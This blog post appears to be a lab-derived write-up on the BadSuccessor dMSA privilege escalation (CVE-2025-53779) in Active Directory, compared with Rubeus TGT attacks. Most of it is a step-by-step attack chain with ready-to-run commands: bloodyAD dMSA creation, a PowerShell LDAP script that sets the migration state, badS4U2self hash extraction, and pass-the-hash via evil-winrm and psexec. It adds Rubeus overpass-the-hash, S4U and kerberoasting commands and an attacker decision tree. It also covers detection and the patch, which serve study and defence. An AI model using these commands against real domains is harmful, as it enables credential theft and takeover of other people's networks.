Post

BadSuccessor (CVE-2025-53779) vs Basic Rubeus TGT Attack

BadSuccessor (CVE-2025-53779) vs Basic Rubeus TGT Attack

BadSuccessor (CVE-2025-53779) vs Basic Rubeus TGT Attack

From checkpoint.htb -> deep research on dMSA privilege escalation compared with standard Kerberos TGT attacks.


Part 1 — CVE-2025-53779: BadSuccessor

Discovered by: Akamai Security Research (May 21, 2025) Patched: August 12, 2025 (Patch Tuesday) CVSS: 7.2 (High) Affected: Any AD domain with ≥1 Windows Server 2025 DC Impact: 91% of real-world domains have non-admin users with sufficient permissions

1.1 What is dMSA?

Delegated Managed Service Account — new schema class in Windows Server 2025.

1
2
3
4
5
6
top
 └─ person
     └─ organizationalPerson
         └─ user
             └─ computer
                 └─ msDS-DelegatedManagedServiceAccount  ← dMSA

Inherits everything from user and computer: sAMAccountName, userAccountControl, Kerberos keys, servicePrincipalName, etc.

Legitimate purpose: Replace old service accounts with auto-rotating-password managed accounts. dMSA “succeeds” old account, inheriting its identity during migration.

1.2 Core Vulnerability — The Three Attributes

Linked Attributes (Forward/Back Pair)

AttributeLinkIDTypeSet OnWritable by Attacker?
msDS-ManagedAccountPrecededByLinkevenForward linkdMSA objectYES — whoever creates dMSA controls this
msDS-SupersededManagedAccountLinkoddBack linkTarget accountNO — auto-calculated by AD when forward link set

AD Linked Attributes always come in pairs. You can only write forward links; back links auto-populate.

1
2
3
4
5
6
7
8
9
Example:
  member (LinkID 2, forward)  →  memberOf (LinkID 3, back)
  You add CN=test to group's member attribute
  AD auto-fills memberOf=CN=Group on test's object

Same mechanism:
  PrecededByLink (forward on dMSA)  →  SupersededManagedAccountLink (back on target)
  You set PrecededByLink=target_svc on dMSA
  AD auto-fills SupersededManagedAccountLink=dMSA on target_svc

Note: Attempting Set-ADUser <target> -Replace @{'msDS-SupersededManagedAccountLink'=$dmsaDN} will fail — back links cannot be written manually.

Independent Attribute — The Kill Switch

msDS-DelegatedMSAStateValueMeaning
(alias: SupersededServiceAccountState)0Migration not started / not set
 1Migration in progress
 2Migration complete — KDC transfers keys

Requires WriteProperty (included in GenericWrite). KDC checks this value on every dMSA ticket request. If not 2KDC_ERR_POLICY even if forward link is correct.

The bug: KDC never validated that a real migration actually occurred. Forward link + State=2 = full key handover. No mutual consent needed.

1.3 Attack Chain

Step 1: Enumerate Who Can Create dMSAs

1
2
3
4
5
PS> .\BadSuccessor.ps1

Identity                   OUs
--------                   ---
YOURDOM\compromised_user   {OU=ManagedAccounts,DC=yourdom,DC=local}

compromised_user has CreateChild on target OU — can create dMSA objects there.

1
2
3
4
bloodyAD -d yourdom.local -u compromised_user -p 'Password123!' \
  --host <DC_IP> \
  add badSuccessor evil_dmsa \
  -t 'CN=target_svc,OU=ServiceAccounts,DC=yourdom,DC=local'

What this does in LDAP:

1
2
3
4
5
6
7
8
LDAP AddRequest → KDC/AD
  objectClass: msDS-DelegatedManagedServiceAccount
  cn: evil_dmsa
  sAMAccountName: evil_dmsa$
  msDS-ManagedAccountPrecededByLink: CN=target_svc,OU=ServiceAccounts,DC=yourdom,DC=local
  
  → AD auto-creates back link on target_svc:
    msDS-SupersededManagedAccountLink: CN=evil_dmsa,OU=ManagedAccounts,DC=yourdom,DC=local

Step 3: Set Migration State = 2 on Target

Requires GenericWrite on target account. Use S.DS.P (System.DirectoryServices.Protocols):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Add-Type -AssemblyName System.DirectoryServices.Protocols

$ldap = New-Object System.DirectoryServices.Protocols.LdapConnection("<DC_IP>")
$ldap.SessionOptions.Sealing = $true
$ldap.SessionOptions.Signing = $true
$ldap.Bind()

$mod = New-Object System.DirectoryServices.Protocols.DirectoryAttributeModification
$mod.Name = "msDS-SupersededServiceAccountState"
$mod.Operation = [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace
$mod.Add("2")   # ← "Migration complete"

$req = New-Object System.DirectoryServices.Protocols.ModifyRequest(
    "CN=target_svc,OU=ServiceAccounts,DC=yourdom,DC=local",
    $mod
)
$resp = $ldap.SendRequest($req)
Write-Host "Result: $($resp.ResultCode)"

State after Step 2+3:

1
2
3
4
5
6
target_svc object now has:
  msDS-SupersededManagedAccountLink = CN=evil_dmsa,...  (auto back link)
  msDS-SupersededServiceAccountState = 2               (manually set)

evil_dmsa object has:
  msDS-ManagedAccountPrecededByLink = CN=target_svc,...  (forward link)

Step 4: Extract Target’s NT Hash via badS4U2self

1
2
3
4
5
badS4U2self \
  'kerberos+password://yourdom.local\compromised_user:Password123!@<DC_IP>/?etype=18' \
  'krbtgt/[email protected]' \
  '[email protected]' \
  --dmsa

Kerberos protocol level:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──────────────┐                              ┌──────────┐
│ badS4U2self  │                              │   KDC    │
└──────┬───────┘                              └────┬─────┘
       │                                           │
       │──── AS-REQ (compromised_user, etype=18) ─>│  Standard pre-auth
       │<─── AS-REP (TGT for compromised_user) ─── │
       │                                           │
       │──── TGS-REQ ────────────────────────────> │  S4U2self request
       │     PA-FOR-USER: [email protected] │
       │     sname: krbtgt/YOURDOM.LOCAL           │
       │                                           │
       │              KDC internal logic:          │
       │              1. Look up evil_dmsa$ object │
       │              2. Find PrecededByLink       │
       │                 → target_svc              │
       │              3. Check target_svc's        │
       │                 State attribute = 2       │
       │              4. "Migration complete"      │
       │              5. Pack target_svc's keys    │
       │                 into response             │
       │                                           │
       │<─── TGS-REP ────────────────────────────  │
       │     enc-part includes:                    │
       │       KERB_DMSA_KEY_PACKAGE               │
       │       previous-keys RC4:                  │
       │         <32_hex_chars>                    │
       │         ↑ target_svc's NT hash            │
       │                                           │

Result:

1
previous-keys RC4: <target_svc_nt_hash>

Step 5: Pass-the-Hash

1
2
3
4
evil-winrm -i <DC_IP> -u target_svc -H <extracted_nt_hash>

# Or with impacket
impacket-psexec yourdom.local/target_svc@<DC_IP> -hashes :<extracted_nt_hash>

Part 2 — Basic Rubeus TGT Attack

2.1 What Rubeus asktgt Does

Rubeus sends raw AS-REQ to KDC port 88, requesting TGT for specified user. Credential replay — must already have target’s secret.

2.2 Supported Authentication Methods

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Method 1: Plaintext password
Rubeus.exe asktgt /user:target_svc /password:SomePassword123! /ptt

# Method 2: RC4/NTLM hash (Overpass-the-Hash)
Rubeus.exe asktgt /user:target_svc /rc4:<nt_hash> /ptt

# Method 3: AES256 key (stealthier — avoids RC4 downgrade detection)
Rubeus.exe asktgt /user:target_svc /aes256:<64_hex_chars> /ptt

# Method 4: Certificate/PKINIT (requires AD CS)
Rubeus.exe asktgt /user:target_svc /certificate:target_svc.pfx /ptt

# Method 5: Specify domain and DC explicitly
Rubeus.exe asktgt /user:target_svc /rc4:<nt_hash> \
  /domain:yourdom.local /dc:DC01.yourdom.local /ptt

2.3 Protocol Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──────────────┐                              ┌──────────┐
│   Rubeus     │                              │   KDC    │
└──────┬───────┘                              └────┬─────┘
       │                                           │
       │──── AS-REQ ─────────────────────────────> │
       │     client: [email protected]      │
       │     PA-ENC-TIMESTAMP:                     │
       │       timestamp encrypted with            │
       │       target_svc's RC4/AES key            │
       │                                           │
       │              KDC internal logic:          │
       │              1. Look up target_svc        │
       │              2. Decrypt PA-ENC-TIMESTAMP  │
       │                 with stored key           │
       │              3. Timestamp valid?          │
       │              4. Issue TGT                 │
       │                                           │
       │<─── AS-REP ─────────────────────────────  │
       │     TGT (encrypted with krbtgt key)       │
       │     Session key                           │
       │                                           │
       │  Rubeus injects TGT into logon session    │
       │  (/ptt = pass-the-ticket)                 │
       │                                           │
       │──── TGS-REQ (using TGT) ───────────────>  │  Now can access
       │<─── TGS-REP (service ticket) ──────────   │  any service
       │                                           │  target_svc has
       │                                           │  access to

2.4 Common Rubeus Modules for TGT Operations

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# --- tgtdeleg: Steal usable TGT from current Kerberos session ---
# Uses GSS-API trick to extract RC4-encrypted TGT from existing session
# No password/hash needed — but must be running AS the target user
Rubeus.exe tgtdeleg

# --- renew: Extend TGT lifetime ---
Rubeus.exe renew /ticket:<base64_ticket>

# --- asktgs: Request service ticket using existing TGT ---
Rubeus.exe asktgs /ticket:<base64_tgt> /service:cifs/DC01.yourdom.local

# --- s4u: Constrained Delegation abuse ---
# S4U2self: Get ticket to yourself on behalf of another user
# S4U2proxy: Use that ticket to access target service
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:Administrator \
  /msdsspn:cifs/DC01.yourdom.local /ptt

# --- kerberoast: Request TGS for SPNs (offline cracking) ---
Rubeus.exe kerberoast /user:target_svc /outfile:hashes.txt

2.5 Why Rubeus Cannot Replace BadSuccessor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Scenario: Shell as user_a but NOT their password
# (obtained via code execution, not credential-based access)

# Attempt 1: tgtdeleg
Rubeus.exe tgtdeleg
# FAIL: Shell via reverse shell (TCP socket)
# No interactive Kerberos logon session → no TGT to extract

# Attempt 2: asktgt
Rubeus.exe asktgt /user:user_a /password:???  /ptt
# FAIL: Password unknown. Shell from code execution, not creds.

# Attempt 3: Target directly
Rubeus.exe asktgt /user:target_svc /rc4:???  /ptt
# FAIL: Don't have target_svc's hash. That's the whole point.
# Rubeus asktgt CANNOT escalate — only replays existing credentials.

BadSuccessor exists because: It extracts target’s hash from KDC without ever knowing it.


Part 3 — Detailed Side-by-Side Comparison

3.1 Attack Classification

DimensionBadSuccessorRubeus asktgt
Attack classPrivilege escalation (low-priv → any account)Credential replay (same privilege level)
Kerberos abuse typeSchema/attribute manipulation → KDC logic flawStandard pre-authentication with stolen creds
What gets abuseddMSA migration trust modelPA-ENC-TIMESTAMP pre-auth
OutputTarget’s NT hash (never known before)TGT for user whose creds you already had

3.2 Requirements

RequirementBadSuccessorRubeus asktgt
Target’s password/hashNO — extracted from KDCYES — mandatory input
Any domain credYES (for AS-REQ)N/A
AD permission neededCreateChild on OU + GenericWrite on targetNone (just valid creds)
Domain Controller versionWindows Server 2025+Any (2008+)
AD CSNot neededNot needed (unless cert-based)
Machine Account QuotaIrrelevantIrrelevant
Network positionCan be remote (Linux box)Usually on-host (injects into session)

3.3 What You Get

OutputBadSuccessorRubeus asktgt
TGTIntermediate (used in chain)Primary output
NT HashYES — target’s actual hash extractedNo (you already had it)
Kerberos KeysFull key set from KERB_DMSA_KEY_PACKAGENo
PAC contentsTarget’s SIDs + privileges merged into dMSA PACStandard PAC for the user
Persistence valueHigh — hash usable for pass-the-hash indefinitelyMedium — TGT expires (default 10hrs)

3.4 OPSEC & Detection

Detection VectorBadSuccessorRubeus asktgt
Windows Event2946 (dMSA authentication)4768 (TGT issued)
LDAP artifactsdMSA object creation, attribute modificationNone
Kerberos anomalyS4U2self for dMSA$ accountAS-REQ from non-lsass process
BloodHound visibilityCreateChild edges, GenericWrite edgesN/A
Noise levelLow — looks like legitimate dMSA migrationMedium — raw Kerberos from unusual source
DCSync needed?NO — KDC voluntarily returns hashNo (but doesn’t give hash either)
Password change?NO — read-only credential extractionNo

3.5 Post-Exploitation Flow Comparison

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
=== BadSuccessor Path ===

low_priv_user creds (known)
    │
    ▼
bloodyAD add badSuccessor evil_dmsa -t target_svc   ← LDAP create dMSA
    │
    ▼
user_with_write sets State=2 on target_svc          ← LDAP modify (GenericWrite)
    │
    ▼
badS4U2self → AS-REQ(low_priv) → TGS-REQ(evil_dmsa$)  ← Kerberos S4U2self
    │
    ▼
KERB_DMSA_KEY_PACKAGE → RC4 hash extracted           ← KDC hands over keys
    │
    ▼
evil-winrm -H <extracted_hash>                       ← Pass-the-hash
    │
    ▼
target_svc shell ✓


=== Rubeus Path (requires known hash) ===

target_svc hash obtained somehow (Kerberoast? LSASS dump? DCSync?)
    │
    ▼
Rubeus.exe asktgt /user:target_svc /rc4:<hash> /ptt    ← AS-REQ
    │
    ▼
TGT injected into logon session                          ← credential replay
    │
    ▼
Access services as target_svc ✓


KEY DIFFERENCE: BadSuccessor OBTAINS the hash. Rubeus USES an already-known hash.

Part 4 — When BadSuccessor Beats Traditional Techniques

BadSuccessor fills a gap when common lateral movement methods are blocked:

Blocked TechniqueWhy It FailsBadSuccessor Bypasses Because
Shadow CredentialsNo AD CS → PKINIT can’t completeNo AD CS dependency
RBCDms-DS-MachineAccountQuota = 0 → can’t create machine accountNo machine account needed
Rubeus tgtdelegShell via code execution → no Kerberos session in memoryUses any low-priv cred for AS-REQ, not session extraction
KerberoastTarget has no SPN, or hash too strong to crackExtracts hash directly from KDC — no cracking
DCSyncNeed Replicating Directory Changes privilegeKDC voluntarily returns keys via dMSA mechanism
LSASS dumpTarget not logged in anywhere, or credential guard enabledReads from AD database via Kerberos, not process memory

When Rubeus asktgt Is Sufficient

Rubeus remains the simpler, more universal tool when credentials are already available:

ScenarioRubeus Works Fine
Kerberoasted hash cracked offlineasktgt /rc4:<cracked_hash> /ptt
LSASS dump yielded NT hashasktgt /rc4:<dumped_hash> /ptt
Password spraying found valid credasktgt /user:x /password:y /ptt
Certificate obtained from AD CSasktgt /certificate:cert.pfx /ptt
AES key extracted from keytabasktgt /aes256:<key> /ptt

Rule of thumb: Have creds → Rubeus. Need creds → BadSuccessor.


Part 5 — Post-Patch Status & BetterSuccessor

Microsoft’s Fix (August 2025)

kdcsvc.dll now validates both sides of dMSA relationship:

1
2
3
4
5
Pre-patch:   dMSA → PrecededByLink → target  +  State=2     ← enough
Post-patch:  dMSA → PrecededByLink → target                  ← not enough alone
       target → SupersededLink → dMSA   (auto)
       target → State=2                                 
       KDC also verifies mutual consent / migration log ← NEW CHECK

One-sided link no longer yields impersonation TGT or keys.

BetterSuccessor (Post-Patch Variant)

If attacker has both:

  • CreateChild on OU (to create/modify dMSA)
  • GenericWrite on target account (to complete mutual pairing)

…attack still works. Attacker completes mutual pairing manually = looks like real migration.

Pre-Patch vs Post-Patch Requirements

RequirementBadSuccessor (Pre-Patch)BetterSuccessor (Post-Patch)
CreateChild on any OUYESYES
GenericWrite on targetYES (to set State=2)YES (to set State=2 and complete mutual link)
KDC validation bypassFree — no mutual checkMust satisfy mutual check by controlling both sides
Effective difficultyLowSame if you already have GenericWrite on target

dMSA Now Joins Privilege Amplifier Family

All techniques below convert GenericWrite (or similar) into higher-privilege access:

TechniqueAdditional RequirementWhat It Gives
BadSuccessor/BetterSuccessorCreateChild on OUTarget’s NT hash via KDC
RBCDMachine account (or quota > 0)Impersonation via delegation
Shadow CredentialsAD CS enrolledTGT via PKINIT
Targeted KerberoastingTarget must be user (not computer)Crackable TGS hash
gMSA password readPrincipalsAllowedToRetrieve membershipgMSA’s NT hash
Forced password changeResetPassword right (not GenericWrite)Direct credential control

Decision Tree: Which Technique to Use

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Have GenericWrite on target?
├─ YES
│   ├─ Windows Server 2025 DC exists?
│   │   ├─ YES → BadSuccessor / BetterSuccessor (best: direct hash, no cracking)
│   │   └─ NO ↓
│   ├─ AD CS enrolled?
│   │   ├─ YES → Shadow Credentials (PKINIT → TGT)
│   │   └─ NO ↓
│   ├─ MachineAccountQuota > 0?
│   │   ├─ YES → RBCD (create machine acct + delegation)
│   │   └─ NO ↓
│   ├─ Target is user with SPN (or can set SPN)?
│   │   ├─ YES → Targeted Kerberoasting (offline crack)
│   │   └─ NO ↓
│   └─ Forced password change (noisy, last resort)
│
└─ NO — need creds from elsewhere
  ├─ Have target's hash/password already? → Rubeus asktgt
  ├─ Target has SPN? → Kerberoast (then Rubeus asktgt with cracked hash)
  ├─ Can dump LSASS? → Extract hash (then Rubeus asktgt)
  └─ Can DCSync? → secretsdump (then Rubeus asktgt / pass-the-hash)

Sources

This post is licensed under CC BY 4.0 by the author.